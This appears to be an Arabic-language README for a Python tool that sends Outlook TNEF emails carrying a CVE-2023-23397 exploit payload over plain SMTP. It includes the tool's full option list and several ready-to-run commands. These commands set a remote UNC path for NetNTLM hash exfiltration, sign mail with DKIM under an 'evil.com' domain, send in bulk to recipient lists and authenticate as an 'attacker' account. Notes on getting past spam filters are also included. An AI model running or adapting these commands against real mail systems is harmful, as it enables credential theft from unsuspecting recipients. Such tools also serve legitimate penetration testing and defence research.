
نص برمجي بايثون لإرسال رسائل البريد الإلكتروني مع حمولة CVE-2023-23397 باستخدام SMTP
يتيح هذا السكريبت إنشاء رسائل بريد إلكتروني من Outlook مشفرة بتنسيق TNEF تحتوي على حمولة استغلال CVE-2023-23397، وإرسالها عبر SMTP الخالص – دون الحاجة إلى كائنات COM أو EWS.
لم أتمكن من جعل فئة الرسالة IPM.Schedule.Meeting.Request تعمل بشكل صحيح (فهي تُنشئ اجتماعًا وتذكيرًا ولكنها لا تحترم الخاصية PidLidReminderOverride لسبب ما)، لذلك يقوم السكريبت بإساءة استخدام فئة IPM.TaskRequest. ينتج عن ذلك ظهور نافذة تذكير اجتماع ضارة تمامًا كما في الاستغلال الأصلي، لكن المستلم لا يمكنه عرض محتوى الرسالة ولا تفاصيل الاجتماع. أما في OWA، فتبدو الرسالة وكأنها رسالة عادية بدون موعد.
تم الاختبار على Outlook365 16130.20218 وOutlook 2019 10395.20020. لاحظ أن مرفق TNEF والرؤوس قد لا تعبر مرشحات مكافحة البريد العشوائي عند إرسال الرسائل خارجيًا – لقد اختبرت هذا فقط عن طريق إرسال الرسائل مباشرة (أو عبر مرحّل Postfix) إلى Exchange من جهاز Linux في نفس الشبكة المحلية.
options:
-h, --help show this help message and exit
-s SERVER, --server SERVER
smtp mail relay (host[:port]), default: localhost:25
-f SENDER, --from SENDER
sender email address
-t TO, --to TO recipient email address(es), path to a file or comma-separated values
-S SUBJECT, --subject SUBJECT
message subject
-r ROOM, --room ROOM meeting location (room name), default: Meeting Room #1
-b BODY, --body BODY plaintext message body (or path to file)
--html HTML HTML message body (or path to file)
-p PATH, --path PATH remote file path for NetNTLM exfiltration, e.g \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH username:password for AUTH command if authenticated send is required
--codepage CODEPAGE windows codepage (e.g. 1252=ASCII, 65001=Unicode) to encode HTML body (if any), default: 1252
--ehlo EHLO, --helo EHLO
EHLO command argument (sender external hostname)
-l LANG, --lang LANG Content-Language header value, default: en-US
--starttls Use STARTTLS when communicating over plaintext SMTP
--max-rcpts MAX_RCPTS
Maximum number of recipients per send attempt
-v Enable debug output
DKIM message signing:
--dkim-selector DKIM_SELECTOR
DKIM selector
--dkim-key DKIM_KEY DKIM private key file path
--dkim-domain DKIM_DOMAIN
DKIM domain name, default: sender address part after @
إرسال البريد الإلكتروني من [email protected] إلى [email protected]:
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
إرسال البريد الإلكتروني إلى عدة مستلمين مع TLS الاختياري ونص HTML من ملف:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
إرسال البريد الإلكتروني مع توقيع DKIM (يتطلب pip install dkimpy) ونطاق مخصص في أمر EHLO إلى المستلمين المحملين من ملف، ثلاثة مستلمين لكل رسالة:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
إرسال البريد الإلكتروني مع بيانات اعتماد النطاق:
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls